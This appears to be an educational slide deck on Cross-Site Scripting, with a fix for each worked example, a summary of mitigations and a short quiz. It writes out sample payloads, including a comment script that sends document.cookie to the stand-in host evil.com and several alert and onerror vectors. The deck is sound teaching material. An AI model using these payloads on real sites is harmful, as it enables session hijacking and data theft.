01 / 20

Cross-Site Scripting
& Mitigations

Understanding how XSS attacks exploit web applications and the defensive strategies that stop them: output encoding, input validation, and Content Security Policy.

Cyber Security

What is Cross-Site Scripting?

Cross-Site Scripting (XSS) is a code injection vulnerability that allows an attacker to insert malicious scripts into web pages viewed by other users. When the browser loads the page, it executes the injected script as if it were legitimate code from the trusted website.

Why XSS Matters

Session Hijacking
Attackers steal session cookies to impersonate logged-in users without needing their password.
Data Theft
Injected scripts can read form inputs, keystrokes, and personal data displayed on the page.
Defacement
Attackers can rewrite page content, redirect users to phishing sites, or spread malware.

The XSS Attack Flow

Attacker Injects script Web Server Stores or reflects malicious input Victim's Browser Executes script Stolen data sent to attacker 1 2 3

The Three Types of XSS

Stored XSS
Malicious script is permanently saved on the server (e.g., in a database) and served to every user who views the affected page.
Reflected XSS
Script is embedded in a URL or request parameter and reflected back in the server's response without being stored.
DOM-Based XSS
Vulnerability exists entirely in client-side code: JavaScript reads untrusted data and writes it to the DOM unsafely.

Stored vs. Reflected vs. DOM-Based

Stored Reflected DOM-Based
Payload Location Server database URL / request Client-side JS
Persistence Permanent Per-request Per-request
Server Involved? Yes Yes No
Impact Scope All visitors Targeted link Targeted link
Severity Highest High High

The Core Rule: Never Trust User Input

Every XSS vulnerability shares a single root cause: untrusted data reaches an execution context (HTML, JavaScript, CSS, or URL) without proper sanitization or encoding. The fundamental defense principle is:

User Input (untrusted) Validate + Encode (sanitize layer) Safe Output (trusted)

Mitigation 1: Output Encoding

Output encoding converts special characters into their safe entity equivalents before inserting data into HTML. The browser then renders them as text, not as executable code.

// Before encoding (DANGEROUS): <p>Hello, <script>alert('XSS')</script></p> // After encoding (SAFE): <p>Hello, &lt;script&gt;alert('XSS')&lt;/script&gt;</p>

Mitigation 2: Content Security Policy

Content Security Policy (CSP) is an HTTP response header that tells the browser exactly which sources of scripts, styles, and other resources are permitted to load. Even if XSS payload is injected, CSP can block it from executing.

// Example CSP header: Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.trusted.com; style-src 'self' 'unsafe-inline'; img-src *;

More Defenses: Validation & Cookies

Input Validation
Reject or strip unexpected characters at the point of input. Use allowlists (only permit known-good patterns) rather than blocklists.
HttpOnly Cookies
Setting the HttpOnly flag on session cookies prevents JavaScript from accessing them, neutralizing most session-hijacking XSS payloads.

How to Defend Step by Step

1
Identify all user input points: form fields, URL parameters, HTTP headers, and any data from third-party APIs.
2
Validate input server-side: use allowlists to accept only expected formats (e.g., alphanumeric for usernames).
3
Encode output contextually: use HTML encoding for HTML body, JavaScript encoding for script contexts, URL encoding for URLs.
4
Deploy a strict CSP header: set script-src 'self' and avoid 'unsafe-inline' for scripts.
5
Set cookie flags: mark session cookies as HttpOnly and Secure.

Example 1: Stored XSS in a Comment

A blog allows users to post comments. The server saves the comment and renders it directly in HTML without encoding:

// Attacker submits this comment: Great post! <script>document.location='https://evil.com/steal?c='+document.cookie</script> // Server renders it as raw HTML: <div class="comment"> Great post! <script>document.location=...</script> </div>

Fixing the Stored XSS

// SAFE: Server encodes output before rendering <div class="comment"> Great post! &lt;script&gt;document.location=... &lt;/script&gt; </div> // Browser displays the literal text: // "Great post! <script>document.location=...</script>" // No code executes!

Example 2: Reflected XSS in Search

A search page echoes the user's query back in the results without encoding. An attacker crafts a malicious URL and sends it to a victim:

// Malicious URL: https://shop.com/search?q=<script>alert(document.cookie)</script> // Server response (vulnerable): <p>Results for: <script>alert(document.cookie)</script></p>

Example 3: DOM-Based XSS

Client-side JavaScript reads from the URL hash and writes it to the page without sanitization. The server is never involved:

// Vulnerable client-side code: var name = window.location.hash.substring(1); document.getElementById('greeting').innerHTML = 'Hello, ' + name; // Attacker link: https://app.com/page#<img src=x onerror=alert(1)>

Common Mistakes

✕ Blocklist Filtering
Trying to block specific tags like <script> while missing <img onerror>, <svg onload>, and hundreds of other vectors.
✕ Client-Only Validation
Validating input only in JavaScript. Attackers bypass this by sending requests directly to the server with tools like cURL.
✕ Wrong Encoding Context
Using HTML encoding inside a JavaScript string or URL context. Each context requires its own specific encoding rules.

Summary: Defenses at a Glance

Defense What It Does Protects Against
Output Encoding Escapes special characters Stored & Reflected XSS
Content Security Policy Restricts script sources All XSS types (secondary)
Input Validation Rejects unexpected patterns All injection attacks
HttpOnly Cookies Blocks JS cookie access Session hijacking via XSS
textContent (not innerHTML) Prevents DOM parsing DOM-Based XSS

Question 1 of 5

Which type of XSS attack stores the malicious payload permanently on the server so that every visitor to the affected page is impacted?

Question 2 of 5

What is the primary purpose of output encoding as an XSS defense?

Question 3 of 5

A developer sets the HTTP header Content-Security-Policy: script-src 'self'. What does this accomplish?

Question 4 of 5

Why is using a blocklist (e.g., filtering out <script> tags) considered a weak XSS defense?

Question 5 of 5

A web page uses innerHTML to display user input from the URL. Which change would most effectively prevent DOM-based XSS?